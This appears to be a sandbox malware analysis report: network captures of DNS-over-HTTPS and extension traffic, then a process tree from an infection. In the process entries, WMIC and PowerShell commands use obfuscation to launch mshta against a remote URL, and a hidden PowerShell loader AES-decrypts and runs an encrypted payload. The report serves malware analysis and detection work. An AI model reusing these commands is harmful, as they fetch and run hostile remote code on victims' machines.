2024-12-23 07:40:07 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-23 07:40:07 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-23 07:40:08 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 23 Dec 2024 07:40:07 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f66b3a55f834350-EWR alt-svc: h3=":443"; ma=86400
2024-12-23 07:40:08 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 08 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49778	172.64.41.3	443	3856	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:40:07 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-23 07:40:07 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-23 07:40:08 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 23 Dec 2024 07:40:07 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f66b3a5aa112395-EWR alt-svc: h3=":443"; ma=86400
2024-12-23 07:40:08 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 16 00 04 8e fb 28 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49803	172.217.17.65	443	3856	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:40:11 UTC	594	OUT	GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-23 07:40:11 UTC	570	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 154477 X-GUploader-UploadID: AFiumC6peKbeaD5AAOFIFpIY4iRMz0r723tdQqjZ-_sZLw4H2KJ7KzMpVkWBpbUuXqhVSHwrJ2iSn3M X-Goog-Hash: crc32c=F5qq4g== Server: UploadServer Date: Sun, 22 Dec 2024 15:58:14 GMT Expires: Mon, 22 Dec 2025 15:58:14 GMT Cache-Control: public, max-age=31536000 Age: 56517 Last-Modified: Thu, 12 Dec 2024 15:58:04 GMT ETag: a01bfa19_322860b8_b556d942_61bcf747_a602b083 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-23 07:40:11 UTC	820	IN	Data Raw: 43 72 32 34 03 00 00 00 f3 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-23 07:40:11 UTC	1390	IN	Data Raw: d5 b5 fc 3c 0f e3 f9 d2 ff f8 fb 8f f1 b3 aa ea fc 5a ff 65 a8 3e ff f2 76 56 d5 8f bf fe b8 9e df fb 4a fe 2c 2f fd 58 f5 e3 8f bf ff eb c7 90 3f d4 25 97 fa fc ea 11 36 05 b0 0d c1 6d 23 05 75 5d 82 5a 95 8f c3 96 5b d7 73 d6 4d 5f 19 18 df 4a a0 b6 22 39 6c 91 fb 6c a3 f3 fd 2c 7c d5 8b 14 19 87 e6 72 d6 e7 d7 51 43 c1 e1 fb ef 9d ba 8a 34 3a 9f d4 f8 cb a1 77 6a e9 bf 9f 4f e7 c3 14 35 ef b7 d2 b7 fb ef 73 ca 6e f7 25 e1 ee 92 a5 e8 f2 fd 79 01 10 17 0f 63 e2 fc fd 91 b4 23 46 0c 8e b4 1b 1b e1 a3 2e ef a8 29 67 76 28 cd 10 21 53 ec 49 17 3e f2 20 dc 54 be b0 c5 23 dc 1d 83 eb b9 f4 a1 91 ef 0f db 83 da 5d 0b 80 ea c2 67 f3 11 c0 ee 08 4c 55 5a a8 16 40 1f 77 c3 5c 80 cd f9 b8 0f 1f 05 d8 fd 7b 9d df f7 16 4e b9 a7 7a 66 d5 6e 02 19 3a 72 f1 95 74 0c Data Ascii: <Ze>vVJ,/X?%6m#u]Z[sM_J"9ll,\|rQC4:wjO5sn%yc#F.)gv(!SI> T#]gLUZ@w\{Nzfn:rt
2024-12-23 07:40:11 UTC	1390	IN	Data Raw: b0 78 c3 9a 50 64 5d fb 40 b0 b4 75 cd a2 45 ec b5 f7 5f 79 7d 9c cd 6c 12 a9 d6 7b 85 01 32 0c 8b 32 98 4b 0f f9 85 0b e3 3c 40 38 52 9e 25 bb 7a 8f 3d a8 39 20 c4 e5 c3 0c b0 21 bf 16 af df 1f d6 7a ee 0d 99 c3 31 ea 95 12 c6 e4 1c 29 ba 47 74 ec a8 92 fb c2 95 5e e2 ca b0 a4 22 c6 26 76 ca 5e 73 34 d5 7c c4 e8 14 05 cb 7b 5f fe 1f 38 b8 6c f0 90 19 b5 92 81 f8 cc 81 4a 13 2f 1a 49 e0 78 71 23 7a 01 c2 0c 77 ba 14 2c e7 2c 3c 91 d1 4e bc 96 0a 3a 18 c8 cd 72 ef c9 b5 f8 8f da e7 6e b0 2f 3c 34 d7 ad f4 42 40 4c d8 a1 40 88 dc 18 8e 64 d6 1c e0 63 1e 05 cf 20 06 f7 3b 0b 70 9c 51 ec 56 dd fb 7d 11 7f 6b 6d ef 0d 1e 52 b0 4d ad e1 45 2a 6f 3e c1 ba 25 26 a2 d8 aa 43 9d 31 12 d1 9a b3 ce 3a 54 eb 81 1f 1b e6 0b 22 ca 2f 2d 08 8a 65 ef 77 c9 57 62 8f 5b 75 Data Ascii: xPd]@uE_y}l{22K<@8R%z=9 !z1)Gt^"&v^s4\|{_8lJ/Ixq#zw,,<N:rn/<4B@L@dc ;pQV}kmRME*o>%&C1:T"/-ewWb[u
2024-12-23 07:40:11 UTC	1390	IN	Data Raw: d6 e1 6d c0 c8 18 51 ae 14 17 a9 0a ca 56 6b be f7 64 1f 49 78 97 5a b7 31 fc 9e 6d a1 03 6f d9 e7 f7 53 08 01 c3 c5 b9 7a b9 76 b6 db 53 9b 34 0a 6b 4e 57 59 c3 5e 19 bf 00 5d 8b aa e8 60 1e 51 13 25 a6 e3 15 9d 7d ca 7d 96 c5 a9 08 a9 a5 b6 19 1f 60 d5 2f 62 7f 2f 56 f2 3d 57 f8 23 62 ea 11 f9 e1 a4 f7 19 e1 40 b8 32 a8 3b d1 0e 75 e4 ef 5e a5 8b 7d 02 3c b3 b0 c2 54 f7 e1 89 cc ec 28 67 76 59 d4 5a cb 31 52 23 4c d6 ce d6 b5 6f 6c b9 2b 3b 9d 71 b7 59 27 29 f2 cd 97 cc b0 23 c2 6d 96 10 c7 cf 94 88 f2 6e 6a 64 2b 51 dc e1 73 d9 1f ee 59 f3 bf e0 1f e0 37 0a e3 95 33 5e 91 a6 46 6d ea cf 64 89 31 b8 c4 90 37 6a 0a ad fa f8 c0 5c 14 73 a2 84 ce 1a f7 08 d6 da 7b b1 29 06 b5 cf 3b d4 47 7c d1 e7 3f 8a b5 cf 36 82 c8 ca 3a 7b 7f 72 db 3b 69 f1 47 d9 87 17 Data Ascii: mQVkdIxZ1moSzvS4kNWY^]`Q%}}`/b/V=W#b@2;u^}<T(gvYZ1R#Lol+;qY')#mnjd+QsY73^Fmd17j\s{);G\|?6:{r;iG
2024-12-23 07:40:11 UTC	1390	IN	Data Raw: d9 c3 10 d6 1f b2 cd fd bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}\|.nw'Gw=n'CSZB=
2024-12-23 07:40:11 UTC	1390	IN	Data Raw: 3b ad 00 5e b3 4e cb 73 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e Data Ascii: ;^Ns=+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>
2024-12-23 07:40:11 UTC	1390	IN	Data Raw: 28 a5 20 e7 31 76 b4 3d 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d Data Ascii: ( 1v=K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']
2024-12-23 07:40:11 UTC	1390	IN	Data Raw: 01 02 c0 b2 db c0 47 fc c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a Data Ascii: GfO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F
2024-12-23 07:40:11 UTC	1390	IN	Data Raw: 3f 08 3f f4 d3 de f8 41 d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e Data Ascii: ??AaW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN
2024-12-23 07:40:11 UTC	1390	IN	Data Raw: 4f 0b c5 44 73 d4 f2 87 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 Data Ascii: ODsQNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYy

Target ID:	1
Start time:	02:39:46
Start date:	23/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')"
Imagebase:	0x7ff614ae0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:39:46
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:39:46
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:39:46
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:39:49
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/HA_19-12NGHEP_anh"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:39:49
Start date:	23/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh
Imagebase:	0x7ff7e40d0000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:39:52
Start date:	23/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:39:53
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length)); & $gAccxEpxB.Substring(0,3) $gAccxEpxB.Substring(3)
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:39:53
Start date:	23/12/2024
